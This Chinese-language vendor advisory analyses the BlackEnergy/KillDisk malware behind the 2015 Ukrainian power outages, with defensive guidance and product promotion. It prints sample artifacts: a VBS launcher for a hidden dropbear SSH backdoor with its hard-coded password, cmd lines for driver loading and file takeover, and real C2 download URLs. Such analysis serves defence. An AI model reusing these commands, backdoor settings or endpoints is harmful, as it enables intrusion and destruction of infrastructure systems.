2015年12月,乌克兰电力公司设备遭到黑客攻击,并导致大规模停电事件,已引起公众极大的恐慌。本文对该事件相关信息及核心样本进行了分析及验证,并给出应对方案。
乌克兰电力公司设备被攻击事件
2016年1月4日,ESET公司发表文章称,乌克兰境内的多家配电公司设备中监测到的KillDisk,由此怀疑使用了BlackEnergy后门,攻击者能够利用它来远程访问并控制电力控制系统。由于此事件是针对电力设备的攻击,对于国家关键基础设施的安全性具有非比寻常的意义,故存在巨大的风险。相关情况如下:
事件基本情况
攻击的基本过程
本次攻击主要针对乌克兰电力部门,攻击者以钓鱼邮件方式,附带木马XLS文件,诱惑用户打开这个文件,从而运行木马,安装SSH后门,以便攻击者可以针对目标下发工业控制指令,必要时运行killdisk进行系统自毁,延长系统恢复时间。
- 什么是XLS 就是 Microsoft Excel 工作表,是一种非常常用的电子表格格式,xls文件可以使用Microsoft Excel打开;
- 什么是SSH SSH是(Secure SHell protocol) 的简写,便于在不安全网络上提供安全的远程登录及其它安全网络服务的协议,保护信息传输的安全性。在此次事件中,BlackEnergy木马放置了一个后门程序dropbear.exe,这个后门基于这个协议,在端口6789上与攻击者进行联系;
- 什么是KillDisk 是BlackEnergy木马中的一个组件,用于损毁目标设备的系统,在此次事件中将有可能损毁电力设备的系统。
危害和影响分析
在此次事件中,BlackEnergy木马被用于损毁电力设备或放置后门,以便攻击者可以远程控制这些设备,进行更多攻击动作。相关的危害性分析如下:
木马功能越来越强大
该木马从2007第一次被发现到今天,软件作者频繁更新其功能,逐渐变得功能异常强大.
图1 BlackEnergy技术发展(图片来自F-Secure BlackEnergy whitepaper)
国内可能遭遇的危害
之所以发生此次事件,是由于国外的电力设备有相当一部分都接入了互联网,攻击者得以通过邮件的形式诱骗工作人员,从而进入系统实施攻击。相比之下,国内大多工控设施及相关业务系统都采用了专网的形式或者与互联网隔绝,这在相当程度上阻止了此类事件的发生,但需要注意的是,在绿盟科技长年对于工控安全的研究中发现,移动存储设备时常成为木马入侵的途径之一,如果BlackEnergy木马通过这种形式感染业务系统设备后,完全有可能通过预置的攻击方案,对工控系统实施打击,比如利用KillDisk损毁主机,这样控制系统重启过程中一旦无法读取配置,将导致整个系统停机。
事件防护方案
本次攻击主要以邮件方式传播木马XLS文件,利用社会工程学,诱惑被攻击者打开文件,运行木马,安装SSH后门,保证攻击者可以长时间控制被感染的主机。针对目标下发工业控制指令,必要时运行killdisk进行系统自毁,延长系统恢复时间。
基于目前绿盟科技工控系统安全专家的分析情况来看,已经启动了一套应对方案,随时可以帮助客户应对该事件,避免造成更大的风险和损失,这些方案包括:
产品自动升级服务
绿盟入侵防护系统(NSFOCUS NIPS)将在2016年1月16日发布产品规则升级包,包括567、568、569版本,用户升级后即可提供实时防护。
升级办法 绿盟科技已在软件升级公告中提供规则升级包,规则可以通过产品界面的在线升级进行。如果您的业务系统暂时还无法升级规则包,那么可以在软件升级页面中,找到对应的产品,通过下载升级包,以离线方式进行升级。相关升级信息请随时关注:
- 安全产品介绍: http://www.nsfocus.com.cn/products/details_22_3.html
- 产品升级公告: http://update.nsfocus.com/
极光自助扫描服务
绿盟远程安全评估系统(RSAS)通过绿盟云也交付了云端自助扫描服务(极光自助扫描服务),用户可以通过该服务的资产管理功能定期对主机设备进行漏洞检查,以便对多种漏洞进行风险监测,发现内网中交换路由设备上存在的安全漏洞。
登录24小时在线极光自助扫描页面,随时申请,随时试用,随时检查,申请链接如下:
https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?pid=1&sid=0&cid=1
反垃圾邮件服务
针对此次事件中以钓鱼邮件入侵的手段,还可以申请试用反垃圾邮件服务,通过这项服务用户可以对电子邮件系统进行全面安全防御,申请链接如下:
https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?pid=1&sid=0&cid=1
专家团队检测服务
1) 绿盟科技工程师前往客户现场检测。
2) 使用绿盟科技的工控漏扫定期对主机进行漏洞检测。
木马专杀解决方案
1) 短期服务:绿盟科技工程师现场木马后门清理服务(人工服务+NIPS+TAC)。确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。
2) 中期服务:提供3-6个月的风险监控与巡检服务(NIPS+TAC+人工服务)。根除风险,确保事件不复发。
3) 长期服务:能源行业业务风险解决方案(威胁情报 + 攻击溯源 + 专业安全服务 + 行业工控安全解决方案)
电力行业工控系统应对措施
1) 工控主机安全防护建议
- 关闭系统中不必要的应用和服务,不给类乌克兰电力攻击的恶意代码提供潜在的渗透机会。
- 修改系统缺省的用户名和密码,适当增强密码的配置强度,加大类乌克兰电力攻击的恶意代码提供攻击的难度。
- 禁止外接设备,必要的情况下使用专用的安全U盘,阻断潜在的攻击路径。
2) 工控网络安全防护建议
- 部署工控审计系统,全面采集工业控制系统相关网络设备的原始流量以及各终端和服务器上的日志;结合基于行为的业务审计模型,对采集到的信息进行综合分析,识别发现业务中可能存在的异常流量与异常操作行为;
- 部署工控堡垒机对运维过程进行有效的监控,监控运维过程中的操作行为,并发现其中恶意的操作行为。
- 在控制站和控制器之间采用工控防火墙和白名单,防止恶意指令的控制下发和恶意软件的配置下装。
3) 管理措施防护建议
- 在工业控制系统的日常运行阶段,应建立相应的人员安全管理制度及安全意识培训机制,明确系统操作、管理人员的职责及授权,建立相关人员的操作行为监管及审计机制;
- 运维人员对生产大区范围内的上位机及操作员站进行操作时,要遵从严格的审批流程,填写操作票及工作票,并在有监督人员在场的情况下按照操作流程进行操作。
在绿盟科技制定应对方案的同时,为了帮助用户能够对此次攻击事件有更深入的了解,绿盟科技工控安全专家联合威胁响应中心的技术专家,对事件涉及的木马进行了深入分析。
BlackEnergy木马分析
该样本是一个复合样本,包含多个文件。下面绿盟科技的工程师模拟重现这个分析过程。
执行架构
样本的执行架构图如下所示:
样本的启动方式
- 执行带有宏(VBA代码)的XLS文件,该文件会释放出C:\Users\Dell\AppData\Local\Temp\vba_macro.exe,vba_macro.exe会进行RPC通道监听,并创建C:\Users\Dell\AppData\Local\FONTCACHE.DAT文件,设置开机自启动。FONTCACHE.DAT文件会进行网络连接,下载文件,包括SSH后门与驱动程序等。
- 开机自启动。vba_macro.exe会创建一个C:\Users\Dell\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup{AAE98887-6CBF-4625-A18F-ED75766421C2}.lnk,该文件实际执行的操作是:%windir%\System32\rundll32.exe “C:\Users\Dell\AppData\Local\FONTCACHE.DAT”,#1, 用于开机自启动。
- 以服务形式开机启动。SSH_Backdoor.exe(dropbear.exe)由服务管理器自动启动。
样本结构
该样本是一个复合型样本,包含多个文件。
表1 各个文件的基本信息介绍
详细文件功能
XLS
MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732
主要功能:释放C:\Users\Dell\AppData\Local\Temp\vba_macro.exe文件, 并启动执行。
vba_macro.exe
MD5: abeab18ebae2c3e445699d256d5f5fb1
- 首先获取网卡详细信息,使用函数:GetAdaptersInfo。
- 创建并写入C:\Users\Dell\AppData\Local\FONTCACHE.DAT文件。使用rundll32.dll调用该文件,参数#1, 调用第一个导出函数PacketAllocatePacket执行。
- 自删除。
使用ShellExecuteA启动cmd.exe,参数/s /c “for /L %i in (1,1,100) do (del /F “C:\Users\Dell\AppData\Local\Temp\VBA_MA~1.EXE” & ping localhost -n 2 & if not exist “C:\Users\Dell\AppData\Local\Temp\VBA_MA~1.EXE” Exit 1)
FONTCACHE.DAT
MD5: cdfb4cda9144d01fb26b5449f9d189ff
- 创建线程(0x10011C91),作为RPC服务端程序,进行RPC通道监听。
通道使用命名的Pipe( “\Pipe{AA0EED25-4167-4CBB-BDA8-9A0F5FF93EA8}”),监听过程使用三个函数 (rpcrt4.RpcServerUseProtseqEpA, rpcrt4.RpcServerRegisterIf2, rpcrt4.RpcServerListen)完成
- 下载文件
首先对svchost.exe进行代码注入:
注入的代码的主要功能是调用iexplore.exe进程。
Iexplore.exe有网络请求,网址已经失效,所以,请求失败。
- URL: http:// 5.9.32.230/Microsoft/Update/KS1945777.php
FONTCACHE.EXE中出现的网络连接字符串是:
URL:http://5.149.254.114/Microsoft/Update/KC074913.php, FONTCACHE.EXE中没有跟踪到网路操作。
Droper2.exe
MD5: 1d6d926f9287b4e4cb5bfc271a164f51
- 释放并执行驱动文件
文件名:C:\Windows\system32\drivers\adpu320.sys(e60854c96fab23f2c857dd6eb745961c)并加载执行。adpu320.sys文件名是随机生成的。
加载方式为:
使用函数:CreateProcessA
参数:ModuleFileName = "C:\Windows\system32\cmd.exe",
CommandLine =
"/c "ping localhost -n 8 & move /Y "C:\Windows\adpu320s" "C:\Windows\system32\drivers\adpu320.sys" & ping localhost -n 3 & net start adpu320""。
- 获取、还原文件user32.dll.mui的所有权
user32.dll.mui中保存了系统的版本与水印信息。
获取文件所有权
使用函数:CreateProcessA
参数:CommandLine = "C:\Windows\system32\cmd.exe /c C:\Windows\System32\takeown.exe /f "C:\Windows\System32\zh-CN\user32.dll.mui""
恢复文件所有权
使用函数:CreateProcessA
参数:ModuleFileName = NULL
0018EF44 0018EF74 |CommandLine = "C:\Windows\system32\cmd.exe /c "C:\Windows\System32\icacls.exe C:\Windows\System32\zh-CN\user32.dll.mui /grant %username%:F""
- 对svchost.exe进行代码注入
注入代码主要用于两个方面,1网络连接,地址: 5.9.32.230:443;2对文件Ntkrnlpa.exe进行写入操作,用于对释放的驱动程序进行保护。
通过绿盟科技翠鸟软件行为分析系统Kingfisher中,可以看到该文件的执行流程图如下所示:
Driver.sys
驱动文件分32bit和64bit两类,执行的基本功能相同。
驱动程序MD5列表
驱动文件主要用于代码注入,其注入代码完成与C&C服务器通信。
- 驱动被Installer加载后,首先执行解压脱壳,然后创建设备驱动,名字为:\DosDevices{C9059FFF-1C49-83E8-4F16387C720}、\DosDevices{C9059FFF-1C49-4445-83E8-4F16387C3800},用来与用户端(main.dll)通信;之后进行代码注入,将shellcode写入在svchost.exe中申请的内存空间,再通过APC线程注入方式注入svchost.exe。
- 注入的shellcode与Rootkit代码,黑客统一使用了通过压栈API函数的HASH值,调用_GetFuncAddr动态获取API函数地址,用来干扰和对抗逆向分析。
- 驱动文件均伪装成微软的系统文件,不过没有合法签名(USB MDM Driver、AMD IDE driver)。
- 通过定位windows内核(ntoskrnl.exe)及关键链接库(hal.dll)中的数据,获取要调用的函数,为了保证程序尺寸足够小,通过保存要获取函数的函数名hash值,获取函数地址时,通过hash碰撞定位函数地址;其中windows 32位驱动程序均进行了加壳处理。
- APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的。
SSH_Backdoor.exe(dropbear.exe)
MD5: fffeaba10fd83c59c28f025c99d063f8
功能:这个文件是一个SSH服务器程序,是从现有的第三方SSH服务端dropbear的代码修改的。使用了内置的默认密码(passDs5Bu9Te7)进行登录验证。
该文件是由一段Shell脚本启动的:
Set WshShell = CreateObject("WScript.Shell")
WshShell.CurrentDirectory = "C:\WINDOWS\TEMP\Dropbear\"
WshShell.Run "dropbear.exe -r rsa -d dss -a -p 6789", 0, false
Killdisk组件
文件1:72bd40cd60769baffd412b84acc03372(MD5)
以服务启动,创建C:\Windows\svchost.exe文件,将自己的代码写入到该文件中,然后将该文件作为服务启动。启动过程可以设置不同的参数,实现不同的功能。
以服务形式启动该文件的代码片段
枚举系统进程并提升进程权限
设置系统注册表配置项代码片段
获取关机权限代码片段
文件2: 7361b64ddca90a1a1de43185bd509b64(MD5)
该文件主要用于获取系统权限与清除系统日志。
获取的权限包括:
SE_SECURITY_PRIVILEGE
SE_BACKUP_PRIVILEGE
SE_RESTORE_PRIVILEGE
SE_SYSTEMTIME_PRIVILEGE
SE_SHUTDOWN_PRIVILEGE
SE_REMOTE_SHUTDOWN_PRIVILEGE
SE_TAKE_OWNERSHIP_PRIVILEGE
SE_SYSTEM_ENVIRONMENT_PRIVILEGE
SE_SYSTEM_PROFILE_PRIVILEGE
SE_PROF_SINGLE_PROCESS_PRIVILEGE
SE_INC_BASE_PRIORITY_PRIVILEGE
SE_CREATE_PAGEFILE_PRIVILEGE
SE_INCREASE_QUOTA_PRIVILEGE
SE_MANAGE_VOLUME_PRIVILEGE
提升进程权限代码片段
清除日志代码片段
API编码代码片段
初始化安全描述符代码片段
文件3: cd1aa880f30f9b8bb6cf4d4f9e41ddf4
该文件主要用于对硬盘设备PhysicalDrive%Num%(Num从0到10)进行清零。
硬盘清零代码片段
文件4: 66676deaa9dfe98f8497392064aefbab
添加了对多种文件类型的处理。
部分文件类型列表
木马行为分析及攻击定位
行为分析
文件分析
- 由xls释放vba_macro.exe
- 由vba_macro.exe释放主dll文件并从网络下载相关的组件
- 样本有对NTUSER.LOG文件的读写
- 对整个硬盘文件的遍历与删除
进程分析
- 结束进程,关闭windows安全机制。
主要结束两个进程:lsass.exe和wininit.exe.
lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略 wininit.exe的工作是开启一些主要的Vista-Win7、Win8后台服务,比如中央服务管理器Service Central Manager (SCM),本地安全验证子系统Local Security Authority Subsystem (LSASS) 和本地会话管理器Local Session Manager (LSM.EXE). - 进程注入
FONTCACHE.DAT和驱动文件都会对Svchost.exe进行代码注入。
FONTCACHE.DAT注入的代码的功能是网络连接,下载文件。
驱动文件注入代码的功能是C&C服务器通信。 - 安装服务
Killdisk以服务形式启动
网络分析
-
整个样本操作的IP地址列表
5.149.254.114
5.9.32.230
31.210.111.154
88.198.25.92
146.0.74.7
188.40.8.72
148.251.82.21
41.77.136.250 -
文件下载URL
FONTCACHE.DAT中有网络操作, URL:http://5.149.254.114/Microsoft/Update/KC074913.php
Iexplore.exe中使用的URL:http:// 5.9.32.230/Microsoft/Update/KS1945777.php
注册表分析
-
Internet Explorer注册表设置
“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Check_Associations” no “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\InformationBar\FirstTime” 0 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\New Windows\PopupMgr” “no” “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PhishingFilter\Enabled” 0 “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\InternetSettings\Cache\Persistent” 0 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing\WarnOnClose” 0 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing\WarnOnCloseAdvanced” 0 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize” 1 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Recovery\NoReopenLastSession” 1 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner” 1
-
系统注册表配置信息
HKEY_LOCAL_MACHINE\Software\MicrosoftSecurity\ConfigFlags
攻击定位
各个IP地址定位信息
利用技术跟踪
- 社会工程学传播
- 后门程序
- RPC通道监听
- 多进程通信
威胁情报
威胁情报的获取及响应都体现了防御能力的建设程度,威胁情报服务体系至少包含了威胁监测及响应、数据分析及整理、业务情报及交付、风险评估及咨询、安全托管及应用等各个方面,涉及研究、产品、服务、运营及营销的各个环节,绿盟科技通过研究、云端、产品、服务等立体的应急响应体系,向企业和组织及时提供威胁情报,并持续对对匿名者攻击事件进行关注,保障客户业务的顺畅运行。
如果您对我们提供的内容有任何疑问,或者需要了解更多的信息,可以随时通过在微博、微信中搜索绿盟科技联系我们,欢迎您的垂询!
关于绿盟科技
北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。
基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。
北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。
请下载完整版: 乌克兰电厂攻击事件分析与防护方案
英文版本: https://blog.nsfocus.net/analysis-ukraine-power-plant-attack-event-countermeasures/
如果您需要了解更多内容,可以
加入QQ群:486207500
直接询问:010-68438880-8669